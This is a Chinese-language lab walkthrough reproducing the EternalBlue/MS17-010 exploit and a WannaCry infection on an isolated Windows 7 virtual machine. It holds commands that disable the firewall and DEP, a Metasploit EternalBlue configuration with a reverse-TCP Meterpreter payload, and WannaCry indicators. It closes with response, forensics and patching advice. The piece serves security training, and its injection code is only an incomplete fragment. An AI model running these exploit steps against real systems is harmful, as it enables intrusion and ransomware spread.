永恒之蓝漏洞重现：在Windows 7虚拟机中手动触发WannaCry感染的完整过程记录
永恒之蓝漏洞实战：在隔离环境中复现WannaCry攻击链
2017年5月，一场席卷全球的网络安全事件让"WannaCry"这个名词成为公众焦点。这起利用Windows系统SMB协议漏洞（MS17-010）发动的勒索软件攻击，在短短数小时内感染了超过150个国家的30万台计算机。作为网络安全从业者，理解这类攻击的运作机制至关重要。本文将带领读者在完全隔离的虚拟机环境中，逐步复现永恒之蓝漏洞利用过程，观察WannaCry的完整攻击链。
1. 实验环境准备与安全隔离
1.1 虚拟机配置方案
构建安全的实验环境是进行漏洞研究的首要条件。我们采用以下配置方案：
- 宿主机器：Windows 10 21H2（已安装所有安全更新）
- 虚拟化平台：VMware Workstation 16 Pro
- 攻击目标：Windows 7 SP1 x64（未安装任何更新补丁）
- 网络配置：自定义Host-Only网络，禁用所有外部连接
重要提示：实验全程必须保持物理网络断开状态，建议在BIOS层面禁用无线网卡
1.2 漏洞利用工具集
实验需要准备以下工具包：
| 工具名称 | 版本 | 用途说明 |
|---|---|---|
| Metasploit | 6.0.28 | 漏洞利用框架 |
| EternalBlue | 2.2.0 | MS17-010漏洞利用模块 |
| DoublePulsar | 1.3.1 | 后门注入工具 |
| WannaCry样本 | 1.0 | 研究用无害化处理样本 |
# 验证Metasploit安装 msfconsole --version # 预期输出：Metasploit Framework 6.0.28-dev2. 系统脆弱性配置
2.1 Windows 7安全降级
为准确复现漏洞环境，需对测试系统进行特定配置：
- 关闭Windows防火墙服务
sc config MpsSvc start= disabled net stop MpsSvc - 启用SMBv1协议支持
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters] "SMB1"=dword:00000001 - 禁用DEP（数据执行保护）
bcdedit.exe /set {current} nx AlwaysOff
2.2 网络服务暴露检查
使用Nmap进行端口扫描验证：
nmap -sV -p 445 192.168.152.130 # 预期输出： # PORT STATE SERVICE VERSION # 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds3. 漏洞利用过程实录
3.1 永恒之蓝攻击模块部署
在Metasploit框架中配置攻击参数：
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.152.130 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.152.1 set LPORT 4444 exploit -j成功执行后将获得Meterpreter会话：
[*] Meterpreter session 1 opened (192.168.152.1:4444 -> 192.168.152.130:49158)3.2 恶意载荷注入技术
通过DoublePulsar后门注入WannaCry样本：
from impacket.dcerpc.v5 import transport # 建立命名管道连接 trans = transport.DCERPCTransportFactory(r'ncacn_np:192.168.152.130[\pipe\svcctl]') trans.connect()关键注入参数配置：
- 进程选择：services.exe（系统服务进程）
- 注入方式：反射型DLL注入
- 内存保护：PAGE_EXECUTE_READWRITE
4. 攻击行为观察与分析
4.1 文件系统加密过程
WannaCry执行后会产生典型的文件操作模式：
- 遍历所有逻辑驱动器（包括网络映射）
- 过滤特定扩展名文件（排除系统关键文件）
- 采用AES-128加密文件内容
- 追加.WNCRY扩展名
使用Process Monitor捕获的文件操作：
Operation Path Result CreateFile C:\Users\Test\Document.doc SUCCESS ReadFile C:\Users\Test\Document.doc 4096 bytes WriteFile C:\Users\Test\Document.WNCRY 4096 bytes DeleteFile C:\Users\Test\Document.doc SUCCESS4.2 注册表持久化机制
攻击者通过以下注册表项实现持久化：
[HKEY_LOCAL_MACHINE\SOFTWARE\WanaCrypt0r] "wd"=hex:3a,00,43,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,5c,00,\ 73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,00,61,00,73,00,\ 6b,00,73,00,63,00,68,00,65,00,2e,00,65,00,78,00,65,004.3 网络通信特征分析
虽然实验环境隔离了外部网络，但仍可观察到以下通信尝试：
- 硬编码IP连接测试（如176.31.103.205）
- 洋葱域名解析请求（如gx7ekbenv2riucmf.onion）
- 本地HTTP服务启动（端口8080）
使用Wireshark捕获的典型流量模式：
No. Time Source Destination Protocol Info 1 0.000000 192.168.152.130 176.31.103.205 TCP 49162 → 80 [SYN]5. 防御与取证实践
5.1 应急响应措施
发现感染后应立即执行：
- 网络隔离：立即断开所有网络连接
- 进程终止：结束以下恶意进程：
- tasksche.exe
- taskdl.exe
- @WanaDecryptor@.exe
- 注册表清理：删除WanaCrypt0r相关项
5.2 磁盘取证方法
使用FTK Imager获取关键证据：
- 内存转储：获取运行进程列表
- 文件恢复：查找$MFT中的文件记录
- 日志分析：检查以下日志文件：
- C:\Windows\System32\winevt\Logs\Security.evtx
- C:\Windows\System32\winevt\Logs\System.evtx
5.3 漏洞修复方案
针对MS17-010的终极解决方案：
# 安装官方补丁 wusa.exe KB4012212.msu /quiet /norestart # 永久禁用SMBv1 Disable-WindowsOptionalFeature -Online -FeatureName smb1protocol6. 现代防御体系建议
基于此次实验的启示，建议企业部署以下防护措施：
- 网络分段：严格隔离SMB通信（445/tcp）
- 行为监控：部署EDR解决方案检测异常加密行为
- 备份策略：实施3-2-1备份原则（3份副本，2种介质，1份离线）
- 漏洞管理：建立补丁周期不超过14天的更新机制
在隔离环境中复现历史漏洞攻击，犹如在生物安全实验室研究病毒，是安全人员提升实战能力的最佳途径。通过本次实验，我们不仅理解了WannaCry的攻击原理，更重要的是建立了"防御者思维"——真正的安全不在于修补已知漏洞，而在于构建纵深的防御体系。